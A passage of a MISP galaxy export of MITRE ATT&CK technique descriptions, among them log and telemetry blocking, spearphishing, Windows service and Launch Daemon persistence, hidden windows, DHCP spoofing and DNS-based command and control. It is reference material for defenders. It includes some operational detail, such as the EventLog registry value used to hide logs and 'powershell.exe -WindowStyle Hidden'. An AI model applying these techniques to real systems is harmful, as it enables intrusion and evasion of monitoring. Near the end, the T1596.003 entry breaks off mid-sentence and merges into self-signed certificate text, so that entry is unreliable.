<td><a href="https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning">https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning</a></td>
</tr>
</tbody>
</table>

**Indicator Blocking - T1562.006**

An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting or even disabling host-based sensors, such as Event Tracing for Windows (ETW), by tampering settings that control the collection and flow of event telemetry. These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as PowerShell or Windows Management Instrumentation.

For example, adversaries may modify the File value in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.

ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell cmdlet or by interfacing directly with the Registry to make alterations.

In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.

In Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors.

The tag is: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006"
Spearphishing Link - T1566.002

Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.

Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an "IDN homograph attack"). (Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, hxxp://google.com@1157586937. (Citation: Mandiant URL Obfuscation 2023)

Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528s). (Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)

The tag is: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002"

Table 5640. Table References
Email Accounts - T1586.002

Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).

A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules.

Adversaries can use a compromised email account to hijack existing email threads with targets of interest.

The tag is: misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002"

Table 5641. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1586/002">https://attack.mitre.org/techniques/T1586/002</a></td>
</tr>
</tbody>
</table>
Service Execution - T1569.002

Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services. The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and <code>[Net](https://attack.mitre.org/software/S0039)</code>.<br>

[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API. Tools such as [PsExec](https://attack.mitre.org/software/S0029) and <code>sc.exe</code> can accept remote servers as arguments and may be used to conduct remote execution.

Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.

The tag is: <code>misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002"</code>

Table 5642. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1569/002">https://attack.mitre.org/techniques/T1569/002</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows/win32/services/service-control-manager">https://docs.microsoft.com/windows/win32/services/service-control-manager</a></td>
</tr>
</tbody>
</table>

Email Addresses - T1589.002

Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.

Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system. Email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType. (Citation: GrimBlog UsernameEnum) For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType. (Citation: GitHub Office 365 User Enumeration)
Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: **misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002"**

### Table 5643. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1589/002">https://attack.mitre.org/techniques/T1589/002</a></td>
</tr>
<tr>
<td><a href="https://github.com/gremwell/o365enum">https://github.com/gremwell/o365enum</a></td>
</tr>
<tr>
<td><a href="https://o365blog.com/post/just-looking/">https://o365blog.com/post/just-looking/</a></td>
</tr>
<tr>
<td><a href="https://www.hackers-arise.com/email-scraping-and-maltego">https://www.hackers-arise.com/email-scraping-and-maltego</a></td>
</tr>
</tbody>
</table>

---

**Spearphishing Attachment - T1598.002**

Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file. (Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.

The tag is: **misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1598.002"**

### Table 5644. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1598/002">https://attack.mitre.org/techniques/T1598/002</a></td>
</tr>
</tbody>
</table>
Windows Service - T1543.003

Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. (Citation: TechNet Services) Windows service configuration information, including the file path to the service’s executable or recovery programs/commands, is stored in the Windows Registry.

Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.

Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: .sys) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateServiceW() (or manually via functions such as ZwLoadDriver() and ZwSetValueKey()), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as PnPUtil.exe. (Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)

Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component).

The tag is: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"

Table 5645. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1543/003">https://attack.mitre.org/techniques/T1543/003</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697">https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697</a></td>
</tr>
</tbody>
</table>
Code Repositories - T1593.003

Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.

Adversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys. (Citation: GitHub Cloud Service Credentials) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).

Note: This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1213/003), which focuses on [Collection](https://attack.mitre.org/tactics/TA0009) from private and internally hosted code repositories.

The tag is: misp-galaxy:mitre-attack-pattern="Code Repositories - T1593.003"

Table 5646. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1593/003">https://attack.mitre.org/techniques/T1593/003</a></td>
</tr>
</tbody>
</table>

Contact List - T1636.003

Adversaries may utilize standard operating system APIs to gather contact list data. On Android, this
can be accomplished using the Contacts Content Provider. On iOS, this can be accomplished using the Contacts framework.

If the device has been jailbroken or rooted, an adversary may be able to access the [Contact List](https://attack.mitre.org/techniques/T1636/003) without the user's knowledge or approval.

The tag is: *misp-galaxy:mitre-attack-pattern="Contact List - T1636.003"*

*Table 5647. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1636/003">https://attack.mitre.org/techniques/T1636/003</a></td>
</tr>
</tbody>
</table>

**Launch Daemon - T1543.004**

Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in `<code>/System/Library/LaunchDaemons/</code>` and `<code>/Library/LaunchDaemons/</code>`. Required Launch Daemons parameters include a `<code>Label</code>` to identify the task, `<code>Program</code>` to provide a path to the executable, and `<code>RunAtLoad</code>` to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks. (Citation: AppleDocs Launch Agent Daemons) (Citation: Methods of Mac Malware Persistence) (Citation: launchd Keywords for plists)

Adversaries may install a Launch Daemon configured to execute at startup by using the `<code>RunAtLoad</code>` parameter set to `<code>true</code>` and the `<code>Program</code>` parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions. (Citation: WireLurker) (Citation: OSX Malware Detection)

Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as `<code>usr/local/bin</code>` to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon’s plist files. (Citation: LaunchDaemon Hijacking) (Citation: sentinelone macos persist Jun 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004"*

*Table 5648. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1543/004">https://attack.mitre.org/techniques/T1543/004</a></td>
</tr>
</tbody>
</table>
Hidden Window - T1564.003

Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.

On Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is `<code>powershell.exe -WindowStyle Hidden</code>`. (Citation: PowerShell About 2019)

Similarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be `<code>apple.awt.UIElement</code>`, which allows for Java applications to prevent the application’s icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don’t also want to show up in the Dock.

Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)

The tag is: `misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003"`

Table 5649. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1564/003">https://attack.mitre.org/techniques/T1564/003</a></td>
</tr>
</tbody>
</table>

Time Providers - T1547.003

Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft
W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\</code>.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)

Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)

The tag is: misp-galaxy:mitre-attack-pattern="Time Providers - T1547.003"

Table 5650. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1547/003">https://attack.mitre.org/techniques/T1547/003</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows-server/networking/windows-time-service/tools-and-settings">https://docs.microsoft.com/windows-server/networking/windows-time-service/tools-and-settings</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows-server/networking/windows-time-service-top">https://docs.microsoft.com/windows-server/networking/windows-time-service-top</a></td>
</tr>
<tr>
<td><a href="https://github.com/scottlundgren/w32time">https://github.com/scottlundgren/w32time</a></td>
</tr>
</tbody>
</table>

SMS Messages - T1636.004

Adversaries may utilize standard operating system APIs to gather SMS messages. On Android, this can be accomplished using the SMS Content Provider. iOS provides no standard API to access SMS messages.

If the device has been jailbroken or rooted, an adversary may be able to access [SMS Messages](https://attack.mitre.org/techniques/T1636/004) without the user's knowledge or approval.

The tag is: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004"

Table 5651. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1636/004">https://attack.mitre.org/techniques/T1636/004</a></td>
</tr>
</tbody>
</table>
DHCP Spoofing - T1557.003

Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).

DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows:

1. The client broadcasts a **DISCOVER** message.
2. The server responds with an **OFFER** message, which includes an available network address.
3. The client broadcasts a **REQUEST** message, which includes the network address offered.
4. The server acknowledges with an **ACK** message and the client receives the network configuration parameters.

Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.

DHCPv6 clients can receive network configuration information without being assigned an IP address by sending a `<code>INFORMATION-REQUEST (code 11)</code>` message to the `<code>All_DHCP_Relay_Agents_and_Servers</code>` multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.

Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network's DHCP allocation pool.

The tag is: *misp-galaxy:mitre-attack-pattern="DHCP Spoofing - T1557.003"*

**Table 5652. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1557/003">https://attack.mitre.org/techniques/T1557/003</a></td>
</tr>
</tbody>
</table>
Cloud Accounts - T1585.003

Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002). Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003) or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)

Creating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002) to register with the cloud provider.

The tag is: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1585.003"`

Table 5653. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1585/003">https://attack.mitre.org/techniques/T1585/003</a></td>
</tr>
</tbody>
</table>

XPC Services - T1559.003

Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPConnection API</code> in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)

Adversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application’s XPC Services handler.(Citation: CVMServer Vuln)(Citation:
Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

The tag is: **misp-galaxy:mitre-attack-pattern="XPC Services - T1559.003"**

**Table 5654. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1559/003">https://attack.mitre.org/techniques/T1559/003</a></td>
</tr>
<tr>
<td><a href="https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/">https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/</a></td>
</tr>
</tbody>
</table>

**Wordlist Scanning - T1595.003**

Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).

For example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website's pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)).

As cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.

The tag is: **misp-galaxy:mitre-attack-pattern="Wordlist Scanning - T1595.003"**

**Table 5655. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Cloud Accounts - T1586.003

Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002). Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003) or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)

A variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528).(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)

The tag is: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1586.003"

Table 5656. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1586/003">https://attack.mitre.org/techniques/T1586/003</a></td>
</tr>
</tbody>
</table>

DNS Calculation - T1568.003

Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)

One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port
for command and control traffic. (Citation: Meyers Numbered Panda) (Citation: Moran 2014) (Citation: Rapid7G20Espionage)

The tag is: misp-galaxy:mitre-attack-pattern="DNS Calculation - T1568.003"

Table 5657. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.crowdstrike.com/blog/whois-numbered-panda/">http://www.crowdstrike.com/blog/whois-numbered-panda/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1568/003">https://attack.mitre.org/techniques/T1568/003</a></td>
</tr>
<tr>
<td><a href="https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/">https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/</a></td>
</tr>
</tbody>
</table>

Web Services - T1583.006

Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1598). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.

The tag is: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006"

Table 5658. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1583/006">https://attack.mitre.org/techniques/T1583/006</a></td>
</tr>
<tr>
<td><a href="https://threatconnect.com/blog/infrastructure-research-hunting/">https://threatconnect.com/blog/infrastructure-research-hunting/</a></td>
</tr>
</tbody>
</table>

Digital Certificates - T1596.003

Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.

Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. (Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). (Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex:
Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner’s identity, and the digital signature of an entity that has verified the certificate’s contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).

Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).

After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.

The tag is: *misp-galaxy:mitre-attack-pattern="Digital Certificates - T1596.003"*

---

**Table 5659. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1596/003">https://attack.mitre.org/techniques/T1596/003</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2">https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2</a></td>
</tr>
<tr>
<td><a href="https://www.sslshopper.com/ssl-checker.html">https://www.sslshopper.com/ssl-checker.html</a></td>
</tr>
</tbody>
</table>

**Digital Certificates - T1587.003**

